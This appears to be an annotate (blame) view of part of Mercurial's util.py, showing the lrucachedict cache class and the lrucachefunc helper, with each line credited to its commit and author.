7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1481 if default is _notset:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1482 raise
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1483 return default
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1484 value = node.value
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1485 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1486 node.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1487
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1488 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1489 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1490 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1491 self._head = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1492
40898 7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1493 return value
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1494
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1495 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1496
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1497 def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1498 try:
39587 8f2c0d1b454c util: update lrucachedict order during get() Gregory Szorc <gregory.szorc@gmail.com> parents: 39586 diff changeset	1499 return self.__getitem__(k)
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1500 except KeyError:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1501 return default
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1502
40897 0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1503 def peek(self, k, default=_notset):
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1504 """Get the specified item without moving it to the head
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1505
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1506 Unlike get(), this doesn't mutate the internal state. But be aware
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1507 that it doesn't mean peek() is thread safe.
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1508 """
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1509 try:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1510 node = self._cache[k]
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1511 return node.value
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1512 except KeyError:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1513 if default is _notset:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1514 raise
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1515 return default
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1516
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1517 def clear(self):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1518 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1519 while n.key is not _notset:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1520 self.totalcost -= n.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1521 n.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1522 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1523
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1524 self._cache.clear()
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1525
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1526 def copy(self, capacity=None, maxcost=0):
39581 2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1527 """Create a new cache as a copy of the current one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1528
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1529 By default, the new cache has the same capacity as the existing one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1530 But, the cache capacity can be changed as part of performing the
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1531 copy.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1532
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1533 Items in the copy have an insertion/access order matching this
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1534 instance.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1535 """
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1536
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1537 capacity = capacity or self.capacity
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1538 maxcost = maxcost or self.maxcost
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1539 result = lrucachedict(capacity, maxcost=maxcost)
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1540
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1541 # We copy entries by iterating in oldest-to-newest order so the copy
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1542 # has the correct ordering.
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1543
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1544 # Find the first non-empty entry.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1545 n = self._head.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1546 while n.key is _notset and n is not self._head:
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1547 n = n.prev
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1548
39581 2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1549 # We could potentially skip the first N items when decreasing capacity.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1550 # But let's keep it simple unless it is a performance problem.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1551 for i in range(len(self._cache)):
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1552 result.insert(n.key, n.value, cost=n.cost)
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1553 n = n.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1554
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1555 return result
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1556
39582 bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1557 def popoldest(self):
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1558 """Remove the oldest item from the cache.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1559
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1560 Returns the (key, value) describing the removed cache entry.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1561 """
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1562 if not self._cache:
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1563 return
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1564
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1565 # Walk the linked list backwards starting at tail node until we hit
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1566 # a non-empty node.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1567 n = self._head.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1568 while n.key is _notset:
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1569 n = n.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1570
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1571 key, value = n.key, n.value
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1572
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1573 # And remove it from the cache and mark it as empty.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1574 del self._cache[n.key]
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1575 self.totalcost -= n.cost
39582 bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1576 n.markempty()
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1577
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1578 return key, value
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1579
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1580 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1581 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1582
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1583 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1584 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1585
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1586 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1587
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1588 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1589
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1590 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1591 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1592 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1593
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1594 To:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1595
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1596 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1597 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1598 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1599
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1600 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1601
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1602 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1603 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1604 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1605 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1606 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1607 A.prev = N (head.prev = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1608 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1609 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1610 # C.next = D
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1611 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1612 # D.prev = C
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1613 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1614 # N.prev = E
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1615 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1616 # N.next = A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1617 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1618 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1619 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1620 # E.next = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1621 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1622 # A.prev = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1623 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1624
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1625 self._head = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1626
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1627 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1628 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1629
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1630 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1631 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1632 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1633 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1634 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1635 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1636 node.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1637 head.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1638 self._size += 1
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1639 return node
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1640
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1641 def _enforcecostlimit(self):
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1642 # This should run after an insertion. It should only be called if total
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1643 # cost limits are being enforced.
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1644 # The most recently inserted node is never evicted.
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1645 if len(self) <= 1 or self.totalcost <= self.maxcost:
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1646 return
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1647
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1648 # This is logically equivalent to calling popoldest() until we
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1649 # free up enough cost. We don't do that since popoldest() needs
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1650 # to walk the linked list and doing this in a loop would be
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1651 # quadratic. So we find the first non-empty node and then
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1652 # walk nodes until we free up enough capacity.
39586 f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1653 #
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1654 # If we only removed the minimum number of nodes to free enough
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1655 # cost at insert time, chances are high that the next insert would
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1656 # also require pruning. This would effectively constitute quadratic
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1657 # behavior for insert-heavy workloads. To mitigate this, we set a
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1658 # target cost that is a percentage of the max cost. This will tend
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1659 # to free more nodes when the high water mark is reached, which
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1660 # lowers the chances of needing to prune on the subsequent insert.
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1661 targetcost = int(self.maxcost * 0.75)
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1662
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1663 n = self._head.prev
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1664 while n.key is _notset:
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1665 n = n.prev
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1666
39586 f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1667 while len(self) > 1 and self.totalcost > targetcost:
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1668 del self._cache[n.key]
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1669 self.totalcost -= n.cost
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1670 n.markempty()
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1671 n = n.prev
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1672
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1673
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1674 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1675 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1676 cache = {}
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	1677 order = collections.deque()
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1678 if func.__code__.co_argcount == 1:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1679
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1680 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1681 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1682 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1683 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1684 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1685 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1686 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1687 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1688 return cache[arg]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1689
